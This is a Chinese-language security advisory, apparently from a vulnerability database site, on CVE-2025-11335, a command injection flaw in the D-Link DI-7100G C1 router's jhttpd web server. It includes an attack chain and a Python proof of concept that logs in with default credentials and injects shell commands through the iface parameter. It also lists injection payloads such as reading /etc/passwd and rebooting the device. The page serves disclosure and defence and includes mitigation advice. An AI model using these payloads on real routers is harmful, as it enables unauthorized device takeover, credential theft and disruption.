IPBUF安全漏洞报告
English
CVE-2025-11335 CVSS 4.7 中危

CVE-2025-11335:D-Link DI-7100G C1 jhttpd组件命令注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11335
漏洞类型
命令注入(Command Injection)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
D-Link DI-7100G C1 路由器

相关标签

命令注入CVE-2025-11335D-LinkDI-7100G路由器jhttpd命令执行网络设备IoT安全中危漏洞

漏洞概述

CVE-2025-11335是D-Link DI-7100G C1路由器固件中存在的命令注入漏洞。该漏洞于2025年10月6日披露,CVSS评分为4.7分,属于中危级别。受影响的固件版本为截至20250928的所有版本。漏洞存在于路由器jhttpd组件中,具体位置为/msp_info.htm?flag=qos页面中的sub_46409C函数。该函数对参数iface的处理存在安全缺陷,攻击者可以通过构造特殊的输入内容,将恶意操作系统命令注入到正常的参数中,从而实现远程命令执行。攻击者需要具有高权限(已认证用户)才能利用此漏洞,但无需用户交互即可完成攻击。该漏洞的成功利用可能导致机密性、完整性和可用性均受到低程度的影响。值得注意的是,该漏洞的利用代码已经公开,攻击者可以轻易获取并使用,这增加了漏洞被大规模利用的风险。D-Link作为知名网络设备制造商,其路由器产品广泛应用于家庭和小型企业网络环境中,此漏洞可能对大量用户造成潜在威胁。

技术细节

该漏洞的核心问题出在D-Link DI-7100G C1路由器固件的jhttpd Web服务器组件中。具体而言,当处理HTTP请求/msp_info.htm?flag=qos时,服务器会调用sub_46409C函数来处理iface参数。在该函数的实现中,开发人员未对用户输入的iface参数进行充分的过滤和验证,直接将其传递给系统命令执行接口(如system()或exec()类函数)。攻击者可以利用分号(;)、管道符(|)、反引号(`)、$()等shell元字符来注入额外的操作系统命令。例如,通过构造类似iface=eth0;cat /etc/passwd或iface=eth0|id的payload,攻击者可以在路由器上执行任意系统命令。由于该漏洞需要高权限(PR:H)才能利用,意味着攻击者首先需要获取路由器的管理权限(如通过默认凭据、弱口令爆破或其他方式获得认证),然后才能利用此漏洞执行命令注入攻击。攻击完成后,攻击者可以读取敏感配置文件、修改系统设置、植入后门,甚至完全控制路由器设备,对网络安全构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描网络发现D-Link DI-7100G C1路由器设备,识别其固件版本和Web管理界面(jhttpd组件)。
STEP 2
步骤2:获取认证凭据
由于漏洞利用需要高权限(PR:H),攻击者需要先获取路由器的管理权限。可以通过默认凭据、弱口令爆破、社会工程学或其他已知的认证绕过漏洞来获得管理访问权限。
STEP 3
步骤3:构造恶意请求
攻击者构造包含恶意iface参数的HTTP请求,目标是/msp_info.htm?flag=qos端点。在iface参数中注入操作系统命令,例如iface=eth0;id或iface=eth0;cat /etc/passwd。
STEP 4
步骤4:发送攻击请求
攻击者使用获取的管理员会话发送恶意请求到目标路由器的jhttpd服务器。由于sub_46409C函数未对输入进行过滤,恶意命令将被执行。
STEP 5
步骤5:命令执行与控制
成功利用后,攻击者可以在路由器上执行任意系统命令,包括读取敏感信息、修改配置、植入持久化后门或完全控制设备,进一步作为内网渗透的跳板。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11335 PoC - D-Link DI-7100G C1 Command Injection # Vulnerability: Command injection in sub_46409C via iface parameter # Target: /msp_info.htm?flag=qos import requests TARGET_URL = "http://192.168.0.1" # Replace with target router IP USERNAME = "admin" # Default credentials may vary PASSWORD = "admin" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login.htm" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Exploit command injection via iface parameter # The iface parameter is passed directly to a system command without sanitization vulnerable_endpoint = f"{TARGET_URL}/msp_info.htm?flag=qos" # Payload: inject shell command after the legitimate iface value # Using semicolon to terminate the original command and execute our own payload = "eth0;id" # Execute 'id' command params = { "flag": "qos", "iface": payload } response = session.get(vulnerable_endpoint, params=params) print(f"[*] Exploit response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Additional payloads for demonstration: # iface=eth0;cat /etc/passwd # iface=eth0;uname -a # iface=eth0;reboot # iface=`id` # iface=eth0$(id)

影响范围

D-Link DI-7100G C1 固件版本 <= 20250928

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即修改路由器默认管理员密码为强密码,限制未经授权的访问;2)在网络层面限制路由器管理界面的访问范围,仅允许可信IP地址访问;3)部署网络监控设备,监控针对/msp_info.htm端点的异常请求;4)如非必要,暂时禁用路由器的远程Web管理功能;5)定期检查路由器系统日志,关注异常的命令执行记录;6)考虑使用网络分段,将路由器管理网络与业务网络隔离,降低被攻击后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表